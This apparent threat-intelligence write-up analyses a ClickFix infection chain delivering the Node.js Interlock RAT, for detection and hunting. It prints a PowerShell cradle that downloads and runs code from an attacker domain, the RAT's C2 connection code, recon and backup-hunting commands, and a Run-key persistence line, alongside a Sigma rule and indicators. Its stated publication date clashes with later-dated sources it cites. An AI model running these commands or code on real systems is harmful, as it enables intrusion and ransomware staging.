*Published: 5/24/2025*
> **High-level Overview:** A ClickFix paste ran a hidden PowerShell one-liner that pulled its next stage from `dnsgo-windowsds[.]live`, installed a genuine signed Node.js runtime under `%APPDATA%`, and executed its payload out of a file named `debug.txt`. The payload is the Node.js variant of Interlock RAT. It fingerprinted the host, opened a raw TCP session to one of three hardcoded IPs on port 443 behind a four-byte magic header, carried its own SOCKS implementation, and ran a recon burst that ended on an LDAP query hunting for backup servers by description. Persistence was an `HKCU` Run key named `ChromeUpdater`. The only executable that landed on disk was a legitimate copy of Node.js.
## The chain at a glance
![[clickfix_interlock_min.png]]
## Attribution
Interlock is a double-extortion ransomware operation first observed in September 2024, and by July 2025 it had drawn a joint advisory from CISA, the FBI, HHS and MS-ISAC (AA25-203A). The delivery matches the web-inject campaign Proofpoint and The DFIR Report track as LandUpdate808, also called KongTuke, where compromised sites serve a filtered "Verify you are human" page that walks the visitor into pasting a command into the Run dialog.
The payload's C2 header ties it to Interlock. The first four bytes it sends, `55 11 69 DF`, are the magic number Sekoia documented for Interlock RAT's raw TCP channel on port 443. Sekoia's build carries three hardcoded IPs, and so does this one. Quorum Cyber tracked the same Node.js RAT as NodeSnake in UK university and local government intrusions in January and March 2025, attributing it to Interlock on overlapping infrastructure. The attribution rests on that protocol match, since none of this sample's three addresses have been published.
None of this establishes who was on the keyboard. The recon that followed reads like a ransomware affiliate sizing up the estate, though this intrusion never reached an encryptor. It also ran months before the July 2025 write-ups gave the family a public name.
## Stage-by-stage
![[clickfix_interlock_execchain.png]]
### Stage 0: the paste
The parent process is `explorer.exe`, which puts the command in the `Win + R` Run dialog rather than in a script or a child of a browser. That lineage is the ClickFix signature.
```python
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm dnsgo-windowsds[.]live/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"
```
`-w H` hides the window. The download and the execution never appear next to each other in the logged command line, because `$s` holds only the `irm` half and `[string]::Join('|', $s, 'iex')` assembles `irm dnsgo-windowsds[.]live/nlOs24YoL|iex` at runtime for the outer `iex` to run. Any rule keyed on `irm` followed by a pipe into `iex` reads this line and finds nothing. The domain is dressed up to look like a Windows DNS service.
### Stage 1: a portable runtime instead of a binary
What came back installed Node.js, a genuine signed release unpacked into the user's roaming profile.
```python
"C:\Users\<user>\AppData\Roaming\node-v20.19.1-win-x64\node.exe" C:\Users\<user>\AppData\Roaming\node-v20.19.1-win-x64\debug.txt 1
```
Signature checks and reputation systems pass it, because it came straight from `nodejs.org`. This one is v20.19.1, and the sample Sekoia documented pulled v22.11.0 the same way.
The malicious component on disk is a text file, `debug.txt`, which Node runs regardless of extension. An earlier sample of the same family used a randomized `.log` name under the v22 directory.
### Stage 2: the process that relaunches itself
The trailing `1` is a re-entry marker. In the earlier sample, a script started without it relaunches itself detached with `1` appended and exits.
```javascript
if (process.argv[1] !== undefined && process.argv[2] === undefined) {
const child = spawn(process.argv[0], [process.argv[1], '1'], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
child.unref();
process.exit(0);
}
```
The process PowerShell started exits right away and leaves the working copy with no parent. I had to rebuild the execution graph by hand from timestamps and paths, and any rule built on the `explorer.exe → powershell.exe → node.exe` lineage only catches the first `node.exe`.
### Stage 3: unpacking the second stage
Later in the intrusion, `node.exe` ran again with its script passed inline through `-e`, just over thirty thousand bytes on a single line. The obfuscation is the default output of the open-source javascript-obfuscator, with every string pulled into a rotated array and every reference replaced by a decoder call like `w(0x150)`.
I ran the blob through [Chef](https://opus-oss.github.io/field-kit/chef.html), the decoder in my Field Kit. With no recipe set, its deep scan matched the shuffle key, resolved 313 call sites back to their 143 strings and reformatted what was left.
![[chef_interlock_deobfuscation.png]]
Chef's deep scan on the `node -e` blob, with the reassembled script on the right.
### Stage 4: what the payload actually is
The deobfuscated script builds a `Systeminfo` object holding the user's privilege level and the Windows version, and fills it with a single PowerShell call.
```powershell
powershell.exe -c "chcp 65001 > $null 2>&1 ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { 'Runas: SYSTEM' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { 'Runas: ADMIN' } else { 'Runas: USER' } ; systeminfo"
```
`chcp 65001` switches the console to UTF-8 first, so the parser doesn't choke on localized output. The first thing the C2 receives is a JSON blob with the domain, computer name, username, privilege level and OS version.
### Stage 5: the C2 channel
```javascript
const ips = ['167.235.235[.]151', '177.136.225[.]135', '128.140.120[.]188'];
let sleepTime = 0;
async function mainloop() {
const systeminfo = new Systeminfo();
let delay = 1000 * 60 * 5;
for (let attempt = -10; attempt <= 6; attempt++) {
await new Promise(resolve => setTimeout(resolve, delay));
let ipIndex = Math.floor(Math.random() * 1000) % ips.length;
for (let i = 0; i < ips.length; i++) {
try {
await new Promise((resolve, reject) => {
const socks = new Socks();
socks.socketServer = net.createConnection({ host: ips[(ipIndex + i) % ips.length], port: 443 }, () => {
socks.connected = true;
const info = Buffer.from(systeminfo.toJson(ips[(ipIndex + i) % ips.length]));
const header = Buffer.alloc(4);
header.writeUInt32LE(0xdf691155);
socks.socketServer.write(Buffer.concat([header, info]));
});
```
It waits five minutes, tries all three addresses from a random starting point, and repeats every five minutes for about an hour. After that, the wait grows to one hour, then four, nine, sixteen and twenty-five before it gives up.
The transport is a raw TCP socket on 443 with no TLS on top. Anything inspecting that port for certificates or JA3 hashes sees a session that never negotiates, and anything counting on port numbers alone sees ordinary HTTPS. The channel is a SOCKS proxy, so the operator can reach anything the workstation can.
### Stage 6: the recon burst
`node.exe` also ran enumeration through two PowerShell shells and a `cmd`. The first command reads its own command line back through WMI.
```python
C:\WINDOWS\system32\cmd.exe /d /s /c "wmic process where processid=20716 get commandline"
```
The enumeration that followed used only built-in tooling.
```python
"C:\WINDOWS\system32\whoami.exe" /user
"C:\WINDOWS\system32\whoami.exe" /priv
"C:\WINDOWS\system32\whoami.exe" /groups
"C:\WINDOWS\system32\whoami.exe" /upn
net user <user> /domain
"C:\WINDOWS\system32\net.exe" group "domain admins" /domain
"C:\WINDOWS\system32\nltest.exe" /dclist:
"C:\WINDOWS\system32\nltest.exe" /domain_trusts
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\WINDOWS\system32\tasklist.exe" /svc
"C:\WINDOWS\system32\systeminfo.exe"
"C:\WINDOWS\system32\chcp.com" 65001
```
It went from the user's identity to its privileges to who else is privileged, then mapped the domain around it. `arp -a` reads the neighbor cache without touching the network, and `tasklist /svc` shows which security products are running before anything gets tried against them. Each command is ordinary on its own, but a dozen of them back to back from one parent process isn't.
### Stage 7: hunting the backups
```powershell
powershell -Command "$s=New-Object DirectoryServices.DirectorySearcher '(&(objectCategory=computer))'; $s.PropertiesToLoad.Add('name')|Out-Null; $s.PropertiesToLoad.Add('description')|Out-Null; $s.FindAll() | ForEach-Object { $n=$_.Properties['name'][0]; $d=$_.Properties['description']; if ($d -and $d[0] -match '(?i)VB|VEEA|BCK|BACK') { Write-Output \"$n - $($d[0])\" } }"
```
It pulls every computer object out of Active Directory and matches the description field, not the hostname, against `VB`, `VEEA`, `BCK` and `BACK`. The first two catch Veeam, and the other two catch generic backup hosts. Matching on the description finds backup servers even when the hostname gives nothing away.
Two months later, Proofpoint and The DFIR Report published the PHP variant running the same hunt with a longer regex, `(?i)VB|VBR|VEEA|VEEAM|BCK|BACK`.
### Stage 8: persistence
```python
C:\WINDOWS\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" /t REG_SZ /d "C:\Users\<user>\AppData\Roaming\node-v20.19.1-win-x64\node.exe C:\Users\<user>\AppData\Roaming\node-v20.19.1-win-x64\debug.txt" /f"
```
The key lives in `HKCU`, so it needs no admin rights, and the value name borrows Chrome's updater. `ChromeUpdater` is one of the few artifacts that holds across the family. The earlier sample used it with a different Node version and payload name, and Proofpoint and The DFIR Report both documented it in their own cases.
## What stands out
- The only executable on disk is a genuine Node.js release from the vendor's own site, and the malicious code is a text file it reads, so there's no malicious binary to inspect or submit.
- Detections built on process ancestry break after the first hop, because the payload relaunches itself detached and exits.
- The `ChromeUpdater` Run value has stayed the same across variants and runtimes for months.
## Hunting notes
Four of my rules fired on this chain and six steps went through clean.
![[clickfix_interlock_coverage.png]]
Two rules caught the front of the chain, the ClickFix cradle and the lookup for the `.live` domain, and two more caught the enumeration. Three of the misses were near misses. The DNS rule had nothing to fire on because the C2 addresses are hardcoded, the WMI rule keys on `process call create` and `/node:` where this query carried neither, and the persistence rule watches scheduled tasks rather than Run keys. Nothing covers the signed runtime running a `.txt` from `%APPDATA%`, the LDAP description sweep, or `nltest /dclist:`, which sits outside the discovery rule's keyword set.
The runtime is the part of this chain that doesn't change. Domains rotate, the hardcoded IPs change from build to build, and the payload filename is whatever the operator felt like that day, but every build still runs a JavaScript interpreter against a non-script file out of a user's roaming profile, and legitimate software almost never does that. An `AppData` path plus a non-script argument cuts most of the noise on its own, since Electron apps and developer tooling run `.js` files out of their install directories.
It's also the cheapest of the three gaps to close.
> [!example]- Sigma: Node.js runtime executing a non-script file
> ```yaml
> title: Node.js Runtime Executing Non-Script File From AppData
> id: 3f7c1e6a-58b2-4d0e-9a41-2c6f0b9d7e45
> status: experimental
> description: Detects the legitimate Node.js runtime being launched from a user profile against a file that is not a JavaScript source file, a pattern used by the Node.js variant of Interlock RAT to execute payloads written as .txt or .log files.
> references:
> - https://www.sekoia.com/blog/interlock-ransomware-evolving-under-the-radar
> - https://thedfirreport.com/2025/07/14/kongtuke-filefix-leads-to-new-interlock-rat-variant/
> author: ShroudCloud
> date: 2026/09/24
> tags:
> - attack.execution
> - attack.t1059.007
> logsource:
> category: process_creation
> product: windows
> detection:
> selection_img:
> - Image|endswith: '\node.exe'
> - OriginalFileName: 'node.exe'
> selection_path:
> CommandLine|contains:
> - '\AppData\Roaming\'
> - '\AppData\Local\'
> filter_script:
> CommandLine|contains:
> - '.js'
> - '.mjs'
> - '.cjs'
> - '.ts'
> condition: selection_img and selection_path and not filter_script
> falsepositives:
> - Electron applications and developer tooling that launch bundled entry points without a script extension
> - Package managers executing shim files from a user profile
> level: high
> ```
A second rule on `node.exe -e` pairs well with it. Inline script execution on a user endpoint is rare enough to review every time, and this family uses it for its main payload.
## Indicators
**Domains / IPs**
- `dnsgo-windowsds[.]live/nlOs24YoL` (PowerShell stage host)
- `167.235.235[.]151:443` (Hetzner, Falkenstein, DE)
- `128.140.120[.]188:443` (Hetzner, Falkenstein, DE)
- `177.136.225[.]135:443` (EVEO S.A., BR, same /24 as Sekoia cluster 9)
- Earlier sample of the same family, April 2025: `216.245.184[.]181` and `212.237.217[.]182` as fallbacks behind three `[.]trycloudflare[.]com` tunnels, both addresses in one of Sekoia's published sets
**Paths and artifacts**
- `%APPDATA%\node-v20.19.1-win-x64\node.exe` (legitimate signed Node.js release)
- `%APPDATA%\node-v20.19.1-win-x64\debug.txt` (payload; the April sample used a randomized `.log` name under `node-v22.11.0-win-x64`)
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` value `ChromeUpdater`
**Protocol**
- Raw TCP on port 443, no TLS negotiation
- Four-byte little-endian header `0xdf691155`, `55 11 69 DF` on the wire, followed by a JSON host fingerprint
- Three hardcoded IPs, random start index, five-minute retries
**Behavioral strings**
- `node.exe <path>\<file> 1` (detached re-execution marker)
- `node.exe -e` carrying `mainloop()`, `Socks`, `Systeminfo`, `writeUInt32LE`, `readUInt32LE`, `socketServer`
- AD computer description regex `(?i)VB|VEEA|BCK|BACK`
- `chcp 65001` immediately preceding `systeminfo` in a PowerShell child of `node.exe`
## References
- CISA, FBI, HHS and MS-ISAC, "#StopRansomware: Interlock" (AA25-203A). https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-203a
- Sekoia, "Interlock ransomware evolving under the radar." https://www.sekoia.com/blog/interlock-ransomware-evolving-under-the-radar
- The DFIR Report with Proofpoint, "KongTuke FileFix Leads to New Interlock RAT Variant." https://thedfirreport.com/2025/07/14/kongtuke-filefix-leads-to-new-interlock-rat-variant/
- Quorum Cyber, "A Deep Dive into NodeSnake: the Devil is in the Detail." https://www.quorumcyber.com/insights/a-deep-dive-into-nodesnake-the-devil-is-in-the-detail/